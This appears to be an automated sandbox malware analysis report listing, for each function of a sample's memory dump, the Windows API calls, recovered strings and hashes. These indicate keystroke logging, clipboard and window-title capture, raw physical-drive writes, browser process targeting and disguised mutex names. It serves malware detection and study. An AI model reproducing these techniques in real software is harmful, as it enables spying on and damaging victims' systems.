                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: memset$FolderPathSpecialstrchr
                                                                                                                                                                                                                      • String ID: Desk$Network Favorites$\$o$p$t
                                                                                                                                                                                                                      • API String ID: 2246752426-2295261572
                                                                                                                                                                                                                      • Opcode ID: c778500c35bfdebb101f30e193afda592d5b15fc816e3b097d6cec9568c462e1
                                                                                                                                                                                                                      • Instruction ID: f6592c4cee1087e6724273728a413bf1a6709b7a7c6a7113d0eecd6566e423e4
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c778500c35bfdebb101f30e193afda592d5b15fc816e3b097d6cec9568c462e1
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B0A15A71A002199FDB31CF28CC55FEA7775EF85310F1486D5EA89AB180D771AA45CFA0
                                                                                                                                                                                                                      Function 02703220 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 173memorythreadclipboardCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT ref: 0270323D
                                                                                                                                                                                                                      • GlobalLock.KERNEL32(00000000), ref: 0270325E
                                                                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 0270327F
                                                                                                                                                                                                                      • GetGUIThreadInfo.USER32(00000000), ref: 02703286
                                                                                                                                                                                                                      • GetOpenClipboardWindow.USER32 ref: 0270329C
                                                                                                                                                                                                                      • GetActiveWindow.USER32 ref: 027032AA
                                                                                                                                                                                                                      • WideCharToMultiByte.KERNEL32(?,?,00000000,000000FF,?,?,?,?), ref: 027032D8
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000013), ref: 027032FA
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 02703301
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000013), ref: 02703311
                                                                                                                                                                                                                      • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 0270332E
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 0270337B
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 0270337E
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 0270338B
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 0270338E
                                                                                                                                                                                                                      • GlobalUnlock.KERNEL32(00000000), ref: 02703399
                                                                                                                                                                                                                      • GlobalUnlock.KERNEL32(00000000,00000000,00000001), ref: 027033DF
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$GlobalProcess$ByteCharMultiThreadUnlockWideWindowmemset$ActiveAllocClipboardCurrentFreeInfoLockOpenValidate
                                                                                                                                                                                                                      • String ID: 0
                                                                                                                                                                                                                      • API String ID: 3472172748-4108050209
                                                                                                                                                                                                                      • Opcode ID: 4f6fddd7310fc5bf24e00b98d226f45f5529f72229b1a0f2a153a60822d54a21
                                                                                                                                                                                                                      • Instruction ID: a54e4b7aec50374025d5fc9471575cbf238a18807b12781738e74882f6dba0f9
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4f6fddd7310fc5bf24e00b98d226f45f5529f72229b1a0f2a153a60822d54a21
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 86512072644302EBD7209B249CCCB6BBBE9EFCA716F004658F985972C0DF31990887A5
                                                                                                                                                                                                                      Function 02701900 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 121memorystringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetCommandLineA.KERNEL32(\iexplore.exe), ref: 0270190E
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000), ref: 02701915
                                                                                                                                                                                                                      • memset.MSVCRT(0273E230,00000000,000002D1,0273E230,0273E230), ref: 02701990
                                                                                                                                                                                                                      • #680.SHELL32(00000000), ref: 02701999
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000001,74DEF550,74DF1620,80000002), ref: 027019E3
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 027019E6
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 027019F3
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 027019F6
                                                                                                                                                                                                                      • strstr.MSVCRT(00000000,set_url ,00000000,00000001,74DEF550,74DF1620,80000002), ref: 02701A06
                                                                                                                                                                                                                      • strstr.MSVCRT(-00000008,set_url ), ref: 02701A20
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02701A4F
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 02701A52
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02701A5F
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02701A62
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$FreeValidatestrstr$#680CommandLinememset
                                                                                                                                                                                                                      • String ID: \iexplore.exe$set_url
                                                                                                                                                                                                                      • API String ID: 3394688803-3242205626
                                                                                                                                                                                                                      • Opcode ID: 418278690cfde5b59411971c4959dd272857ee6a81d1e933a200ae08ac063772
                                                                                                                                                                                                                      • Instruction ID: f02de79bffe0a06f682dfc153006d3042f92fd6cf4f7d43db816806a5bcf9f0e
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 418278690cfde5b59411971c4959dd272857ee6a81d1e933a200ae08ac063772
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E2310972E51361D7E72226715C8DF5F3AC8AF04B06F854428FD89A72C1EAB5C8088AF5
                                                                                                                                                                                                                      Function 02702F40 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 169memoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,000000FF,?,00000000), ref: 02702F72
                                                                                                                                                                                                                        • Part of subcall function 02702E80: GetAncestor.USER32(?,00000002,00000000,00000001), ref: 02702E8E
                                                                                                                                                                                                                        • Part of subcall function 02702E80: GetWindowTextA.USER32(00000000,?,00000104), ref: 02702EA9
                                                                                                                                                                                                                        • Part of subcall function 02702E80: GetProcessHeap.KERNEL32(00000000,?), ref: 02702F07
                                                                                                                                                                                                                        • Part of subcall function 02702E80: HeapValidate.KERNEL32(00000000), ref: 02702F0A
                                                                                                                                                                                                                        • Part of subcall function 02702E80: GetProcessHeap.KERNEL32(00000000,?), ref: 02702F17
                                                                                                                                                                                                                        • Part of subcall function 02702E80: HeapFree.KERNEL32(00000000), ref: 02702F1A
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,?,?,?,?,00000000), ref: 02702FD5
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 02702FDC
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,?,?,?,00000000), ref: 02702FEF
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,?,?,?,00000000), ref: 02702FFF
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000,?,?,00000000), ref: 02703006
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,02704372,?,?,?,00000000), ref: 02703026
                                                                                                                                                                                                                      • HeapReAlloc.KERNEL32(00000000,?,?,00000000), ref: 0270302D
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$AllocValidatememset$AncestorFreeTextWindow
                                                                                                                                                                                                                      • String ID: [bks]$[del]$[ins]$[ret]$[tab]
                                                                                                                                                                                                                      • API String ID: 4095246728-233650549
                                                                                                                                                                                                                      • Opcode ID: b58424d476a21a4a6e69aedb13685168c7ab22fb62d7066564c76370edbc4dbc
                                                                                                                                                                                                                      • Instruction ID: cc29b207205a16ab7ac5033c29e0b563bfa51cdd5f837e5eacda20e78605e007
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b58424d476a21a4a6e69aedb13685168c7ab22fb62d7066564c76370edbc4dbc
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5E51AE75D00259EBCB14CF64D884BEEBBF9EF49301F04C999E945AB381D7309A08CBA0
                                                                                                                                                                                                                      Function 02719910 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 178filememoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • LocalAlloc.KERNEL32(00000040,-00000103,00000000,00000000,74DF0F00), ref: 02719991
                                                                                                                                                                                                                      • _snprintf.MSVCRT(00000000,00000104,%s\*,00000000), ref: 027199AD
                                                                                                                                                                                                                      • FindFirstFileA.KERNEL32(00000000,?), ref: 027199BC
                                                                                                                                                                                                                      • LocalFree.KERNEL32(00000000), ref: 027199C9
                                                                                                                                                                                                                      • wsprintfA.USER32(?,%s\%s,00000000,0000002E), ref: 02719A08
                                                                                                                                                                                                                      • wsprintfA.USER32(00000000,%s\%s,00000000,?), ref: 02719A16
                                                                                                                                                                                                                      • FindNextFileA.KERNEL32(00000000,?), ref: 02719B0D
                                                                                                                                                                                                                      • FindClose.KERNEL32(00000000), ref: 02719B1C
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Find$FileLocalwsprintf$AllocCloseFirstFreeNext_snprintf
                                                                                                                                                                                                                      • String ID: %s%s$%s\%s$%s\*$.
                                                                                                                                                                                                                      • API String ID: 2477558990-1591360731
                                                                                                                                                                                                                      • Opcode ID: 13ffff138d6066b41533e15e3ad490cd5075515dd3fadcd02a5ba3583062a70b
                                                                                                                                                                                                                      • Instruction ID: 5b659294a3555e69aabd0fe7e116af5585175c43520fe6b314f93ffc81ff0691
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 13ffff138d6066b41533e15e3ad490cd5075515dd3fadcd02a5ba3583062a70b
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: DF518CB1608341EFD321DF18C898EABBBE9BF88704F044919FA8597245D7749909CBA2
                                                                                                                                                                                                                      Function 026F1660 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 61libraryloaderCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(00000000,?,00000104,74DEF550,74DEDF10,75BFBD50), ref: 026F167A
                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 026F168B
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 026F169F
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,\explorer.exe), ref: 026F16C1
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetFileAttributesW), ref: 026F16D1
                                                                                                                                                                                                                        • Part of subcall function 0270A540: VirtualAlloc.KERNEL32(00000000,-00000008,00003000,00000040,74DEF550,00000000,75BFBD50,?,?,?,027098DA,00000000,02709730,0274A04C), ref: 0270A578
                                                                                                                                                                                                                        • Part of subcall function 0270A540: memcpy.MSVCRT(?,?,00000000,?,?,?,027098DA,00000000,02709730,0274A04C), ref: 0270A5A0
                                                                                                                                                                                                                        • Part of subcall function 0270A540: VirtualProtect.KERNEL32(00000000,?,00000040,027098DA,?,?,?,?,?,?,027098DA,00000000,02709730,0274A04C), ref: 0270A635
                                                                                                                                                                                                                        • Part of subcall function 0270A540: VirtualProtect.KERNEL32(?,00000000,00000040,027098DA,?,?,?,?,?,?,027098DA,00000000,02709730,0274A04C), ref: 0270A64A
                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(user32.dll), ref: 026F16EC
                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetWindowTextA), ref: 026F16F8
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: AddressModuleProcVirtual$HandleProtect$AllocFileNamememcpy
                                                                                                                                                                                                                      • String ID: CreateFileW$GetFileAttributesW$GetWindowTextA$\explorer.exe$kernel32.dll$user32.dll
                                                                                                                                                                                                                      • API String ID: 1733008709-77332811
                                                                                                                                                                                                                      • Opcode ID: badecd37163a336c5b8b169ba00f0bcaf97b162546fa58390c78fbf2a56fdeb7
                                                                                                                                                                                                                      • Instruction ID: fc777de6cf4497fce943936dc96bb8a83ce50313ae5af5b0a0c5e1f4aa78e0ff
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: badecd37163a336c5b8b169ba00f0bcaf97b162546fa58390c78fbf2a56fdeb7
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3001B5F1781315F3FA5162B54C86EAB375C5B4AEDEF540290BB09F2180DFE5D50489B8
                                                                                                                                                                                                                      Function 026F2BA0 Relevance: 21.5, APIs: 14, Instructions: 466COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: callocfree$exit
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 337157181-0
                                                                                                                                                                                                                      • Opcode ID: 6851d1c00f789d43b21e1287469739cb5fc57013f03e3d6d52293129843431a0
                                                                                                                                                                                                                      • Instruction ID: a92928aa238a539b5819dbcfbc12551a13946f6c51aaa821d13fe7479adcb86f
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6851d1c00f789d43b21e1287469739cb5fc57013f03e3d6d52293129843431a0
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2DF17CB1A0020A9BDF60CF98D890BAEB7B5FF88718F144569EE05A7340D771E951CFA1
                                                                                                                                                                                                                      Function 027033F0 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 104fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103,?), ref: 02703411
                                                                                                                                                                                                                      • GetDriveTypeA.KERNEL32(0274DDB4,?,?,?), ref: 02703428
                                                                                                                                                                                                                      • SetCurrentDirectoryA.KERNEL32(0274DDB4,?,?,?), ref: 02703438
                                                                                                                                                                                                                      • _snprintf.MSVCRT(00000000,00000104,\\.\PhysicalDrive%u,?,?,?,?), ref: 02703465
                                                                                                                                                                                                                      • CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000003,A0000000,00000000), ref: 02703487
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,00000000,74DE9300), ref: 027034B1
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000104,00000000), ref: 027034C0
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,?,00000104,00000000,00000000), ref: 027034D9
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000104,00000000), ref: 027034EA
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,02703655), ref: 02703507
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02703518
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: File$Handle$CloseCreateCurrentDirectoryDriveInformationLockPointerTypeUnlockWrite_snprintfmemset
                                                                                                                                                                                                                      • String ID: \\.\PhysicalDrive%u
                                                                                                                                                                                                                      • API String ID: 649538874-3292898883
                                                                                                                                                                                                                      • Opcode ID: 2a7638e0f909e00c8ccc7f04e6aa7f569888bf3a5515dc97e637c1aa8dc30311
                                                                                                                                                                                                                      • Instruction ID: 467a4b452e37f972384d1e84b10a8f517500817599cfe6ca7eec46c8f3e59ac6
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2a7638e0f909e00c8ccc7f04e6aa7f569888bf3a5515dc97e637c1aa8dc30311
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BB3148B1981324FBE7219B64DC8AFEE77ACAF05B15F008584FA44AA1C0C7F05A44CBE4
                                                                                                                                                                                                                      Function 0271DAE8 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 135filestringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • SHGetSpecialFolderPathA.SHELL32(00000000,?,?,00000000), ref: 0271DB7A
                                                                                                                                                                                                                      • strchr.MSVCRT(Desk,0000005C,?,00000000), ref: 0271DB89
                                                                                                                                                                                                                      • MultiByteToWideChar.KERNEL32(000004E3,00000000,Desk,Desk,?,Desk), ref: 0271DC75
                                                                                                                                                                                                                      • FindFirstFileW.KERNEL32(?,?), ref: 0271DC89
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: ByteCharFileFindFirstFolderMultiPathSpecialWidestrchr
                                                                                                                                                                                                                      • String ID: Desk$Network Favorites$\$o$p$t
                                                                                                                                                                                                                      • API String ID: 23527507-2295261572
                                                                                                                                                                                                                      • Opcode ID: 76624d64ac796ccba192e7d3c466cf99eb649df096944b90fe7138f6952f8531
                                                                                                                                                                                                                      • Instruction ID: 9fddff47f622c5b62003fe9a279c6f6caab097246ad7e55552190491af51f416
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 76624d64ac796ccba192e7d3c466cf99eb649df096944b90fe7138f6952f8531
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 45418831A002599FEF358B2CCC24BFA77A1EF42305F1486E5DA8BA7181D771AA85CF51
                                                                                                                                                                                                                      Function 026FD970 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 57stringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetComputerNameA.KERNEL32(0273F588,?,74DEF550,75B07390,74DF0A60,?,?,027076EC), ref: 026FD987
                                                                                                                                                                                                                      • lstrlenA.KERNEL32(0273F588,?,?,027076EC), ref: 026FD992
                                                                                                                                                                                                                      • wsprintfA.USER32(0273F5A0,MSCTF.Shared.MAPPING.%x,?,?,?,027076EC), ref: 026FD9D2
                                                                                                                                                                                                                      • wsprintfA.USER32(0273F54C,MSCTF.Shared.MAPPING.%x,74DF0A60,?,?,?,027076EC), ref: 026FD9E2
                                                                                                                                                                                                                      • wsprintfA.USER32(0273F5DC,MSCTF.Shared.MAPPING.%x,?,?,?,?,027076EC), ref: 026FD9F2
                                                                                                                                                                                                                      • wsprintfA.USER32(0273F670,MSCTF.Shared.MUTEX.%x,?,?,?,?,?,027076EC), ref: 026FD9FF
                                                                                                                                                                                                                      • wsprintfA.USER32(0273F630,MSCTF.Shared.MUTEX.%x,74DF0A60,?,?,?,?,?,027076EC), ref: 026FDA0C
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: wsprintf$ComputerNamelstrlen
                                                                                                                                                                                                                      • String ID: MSCTF.Shared.MAPPING.%x$MSCTF.Shared.MUTEX.%x
                                                                                                                                                                                                                      • API String ID: 776485234-1938657081
                                                                                                                                                                                                                      • Opcode ID: 3e2f2233c62d6e2ccd0723b9751847c0982d50062306c5d484659afb43ef4067
                                                                                                                                                                                                                      • Instruction ID: 72eeab4709683a56f5965d9c4876402eae62a73cb0ed74e8b86b0892fed30472
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3e2f2233c62d6e2ccd0723b9751847c0982d50062306c5d484659afb43ef4067
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 52012DF3F8023876F2356E959C4BD773F58CF856A77410215F88792551E9A06D00CAB3
                                                                                                                                                                                                                      Function 02711690 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 100threadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 027116B4
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,cbsmain.dll), ref: 027116C6
                                                                                                                                                                                                                      • GetAncestor.USER32(?,00000002,?,00000104), ref: 027116E6
                                                                                                                                                                                                                      • GetWindowTextA.USER32(00000000), ref: 027116ED
                                                                                                                                                                                                                      • CreateThread.KERNEL32(?,?,02711930,?,?,?,?), ref: 0271178E
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 027117A6
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 027117B7
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Handle$AncestorCloseCreateFileInformationModuleNameTextThreadWindow
                                                                                                                                                                                                                      • String ID: cbsmain.dll
                                                                                                                                                                                                                      • API String ID: 741776142-1394916644
                                                                                                                                                                                                                      • Opcode ID: 49f4b761123c337ab9327f59c5edce7f6a5b95e170626d5292693f26cdac8bb6
                                                                                                                                                                                                                      • Instruction ID: 84d3eec142ff72184661d264b65cd136ef6398168da844cb071b03565cf89bb8
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 49f4b761123c337ab9327f59c5edce7f6a5b95e170626d5292693f26cdac8bb6
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6C316B75A442065BD7218F38CC99BF73B6AAF16344FC44694EA8DCE381D772C548C750
                                                                                                                                                                                                                      Function 02721250 Relevance: 9.1, APIs: 6, Instructions: 60networkCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • htons.WS2_32(?), ref: 02721278
                                                                                                                                                                                                                      • socket.WS2_32(00000002,00000001,00000000), ref: 0272128E
                                                                                                                                                                                                                      • setsockopt.WS2_32(00000000,0000FFFF,00000004,00000001,00000004), ref: 027212A8
                                                                                                                                                                                                                      • closesocket.WS2_32(00000000), ref: 027212B3
                                                                                                                                                                                                                      • bind.WS2_32(00000000,?,00000010), ref: 027212CB
                                                                                                                                                                                                                      • listen.WS2_32(00000000,00000005), ref: 027212D8
                                                                                                                                                                                                                      Memory Dump Source
